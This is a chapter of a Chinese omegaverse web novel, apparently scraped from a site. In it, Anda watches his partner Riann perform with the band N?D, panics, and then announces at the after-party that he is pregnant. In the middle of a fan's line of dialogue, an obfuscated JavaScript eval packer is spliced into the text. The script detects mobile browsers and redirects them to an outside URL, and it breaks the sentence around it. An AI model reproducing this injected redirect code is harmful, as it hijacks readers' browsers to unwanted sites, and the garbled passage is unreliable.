只是一个眼神,台下彻底陷入疯狂。刚才还在屏息等待着的人们,此刻像被点燃了一般,挥舞着手臂。汗水、酒气、香水混杂在一起,蒸腾成一片灼热的气浪。 安达的眼中,只剩下了台上的那个人。 他在笑,不是对着安达笑,仿佛对着台下所有人,又仿佛谁也没看的笑容。他站在高高的舞台上、刺眼的追光灯下,像是一个天生的、注定会发光的人。 他是这个舞台的主人、是风暴的中心,举手投足之间引起海啸。他只是唱着,就让所有人为他迷醉。 几乎一瞬间,安达就理解了那个女生说的话——他值得更大的舞台。 一曲终了,旁边的人几乎扯哑了嗓子,“N?D!!!N?D!!!” “卧槽这首新歌太他妈绝了!!!” “Riann!!我们会永远支持你!!” 时隔三个月,再一次看见Riann站在舞台上、听见他歌唱,这些粉丝都等了太久,尖叫声和哭泣声不绝于耳,他们激动得近乎晕厥。 只有安达格格不入地站在角落,如同木偶般一动不动。一股强烈的焦虑和抽离感席卷了他,让他头晕目眩,几乎想要呕吐。纪屿欢在这里受人追捧,他和这里其他人之间的联结是音乐和激情;而和安达之间的联结是谎言、金钱和孩子。 安达的心里只剩下了一个念头:他不能再留在这里了,他必须要逃离。 “麻烦让一让……对不起……借过……”安达艰难地拨开人群,他的鲁莽似乎打断了这些人的朝圣,因此收到了许多不满的瞪视,但安达浑然不觉,他挤出观众区,几乎是一路狂奔到了卫生间,拉开第一个隔间的门,将自己锁在了里面。 他坐在马桶上,大口喘气。 卫生间的隔间并不能阻隔音浪,甚至,过滤掉了那些杂音,反而让纪屿欢的声音变得更清晰。安达捂住耳朵,可是纪低哑慵懒的声线、略微上挑的尾音还是像条小蛇般钻了进来,如此清晰地在他的鼓膜上留下烙印。 外面唱了一首歌,又一首。 安达说不清自己为什么会变成这样,他不反感N?D的音乐,甚至,可以说他是喜欢的。他明明可以直接冲出这个livehouse跑回家去,到头来还是躲在厕所里听着他的歌声。虽然这种音乐风格让他感到陌生和不习惯,可是如果从其他地方听到这些歌,他应该会愿意把它们加进歌单里的。 那他究竟在害怕什么呢? 安达想,原来纪屿欢在台上是这样的。他总是喜欢戴着耳机窝在家里沙发一角,总是喜欢笑着叫他“哥”,那副样子太过平凡,平凡得唾手可得,以至于他从未想到,舞台上的他竟然那么耀眼。 他又想,原来那么多人会喜欢他。 他应该为这样的纪屿欢而感到骄傲吗? 台上光鲜亮丽,台下柴米油盐。他认识的那个人、他想要组建家庭的人,真的是真正的纪屿欢吗? 他的身上仿佛有数不尽的秘密,有那么多他不了解的事。 他……真的认识纪屿欢吗? 如果纪屿欢和他的乐队真的成名,有那么多的人喜欢他们,纪屿欢真的还会留在这个家里,留在他的身边吗? 一股强烈的焦虑袭来,几乎让他想要呕吐。 明明他们才是一家人,什么乐队什么罗顿都是狗屁,世界上不应该有人比他更爱纪屿欢、更了解纪屿欢。纪屿欢想要的他都给了,就连十八万八也说给就给,就差把自己的心掏出来了。他做得还不够吗?他只是想要个老婆而已他有什么错。 从这个时刻起,他决定要向纪屿欢坦白他有了孩子。这个孩子是他们的孩子,将他们紧紧绑在一起的孩子。有了孩子就有了家,其他人都是外人,谁也不能将这个家拆散。 这天晚上N?D一共演唱了九首单曲。和大多粉丝所想的不同,他们并没有演唱前身Eden乐队的任何一首单曲,九首单曲都是全新的创作,在朋克中加入了更多流行元素,旋律更为入耳,同时又不失磅礴的力量感,给所有听众都留下了深刻的印象。 当然,也包括安达。 连他这种彻头彻尾的门外汉,都不由自主地被“Riann”的魅力深深吸引。正是因为这一点,他坐在马桶上捂着脸,痛苦地将身体蜷缩起来。 安达走出隔间时,演出已经结束,人潮逐渐散去,但歌迷们仍兴奋不已,意犹未尽地讨论着这场演出的所有细节。 “这几首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547889|204228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新歌都太绝了!真没想到他们竟然能把流行元素融合得这么好!” “你最喜欢哪首?” “嗯……《以玩偶心的名义》?” “我也是!唉,我感觉他们这次是真的要大火了,以后票该不会很难抢吧?下次live是什么时候啊,我已经迫不及待地想二刷了……” > 不要忧伤,不要害怕,不要留我一个人在深夜里哭泣。 > 拥抱我,亲吻我,触碰我破碎的心。 > 让我相信,我还被你需要着…… 安达的手机震动了一下,是纪屿欢的消息:【哥,你还在吗?我们在隔壁的酒吧举行庆功宴,你也一起来吧!】 安达看着镜子里的人,头发被他自己抓得有点乱,眼尾有些许发红,有种说不出的憔悴。 他洗了把脸,把头发理整齐。他调节情绪的速度一向很快,从不消沉太久,一旦下定决心,就绝不轻易回头。 “Cheers!” 安达走进隔壁酒吧时,一群人正在举杯欢庆,其中包括乐队成员和后勤人员,以及他们的亲人朋友。罗顿更是搂了两个Omega,一男一女,如鱼得水,左拥右抱,好不快活,看得安达瞠目结舌,暗骂伤风败俗。 “哥,这边!”纪屿欢朝他挥手,安达走过去在他旁边坐下。纪屿欢好像有些醉了,脸色酡红,自然地勾住他的腰,眼睛亮晶晶地看着他。 “哥,你听了没有,我唱得怎么样?” 我当然听了,安达想,还是在厕所里听的。 “特别特别好,”安达说,“很好听。” 纪屿欢搂住他的腰,将脸埋在他的颈项,“哥,谢谢你。” 安达心脏砰砰直跳,“谢我什么?” “哥,你简直是我的贵人,”纪屿欢醉醺醺地说,“自从遇见你,我的运气就特别好。” “是吗?”安达垂下眼,心情有点复杂。 “你们的感情可真好啊,”坐在另一旁的茜莉不无艳羡地说道,“我还是第一次看见Riann这个样子。有家人的支持,真是幸福呢。” “今天演出大获成功,大家都高兴!”米拉豪迈地举起酒杯,她的丈夫是一位男性Omega,此刻有些羞涩地坐在她的旁边。“来,我们一起干一个!” 纪屿欢伸出手臂,从面前捞了瓶啤酒,给安达倒了一杯,“喏。” 安达下意识拒绝:“我不能喝酒。” “怎么了?”纪屿欢有些朦胧的眼神中带着关切,“你不舒服吗?” “不是……”安达的手心被汗水濡湿,“其实,我有个好消息还没有告诉你。” 他的直觉告诉他就是这一刻。在这么多人面前宣布他们有了孩子,就能够把他再拉回来了…… 纪屿欢注视着他:“什么?” “其实……”安达感到口干舌燥,他顿了顿,看向纪屿欢的眼睛,缓缓说道。 “我怀孕了。”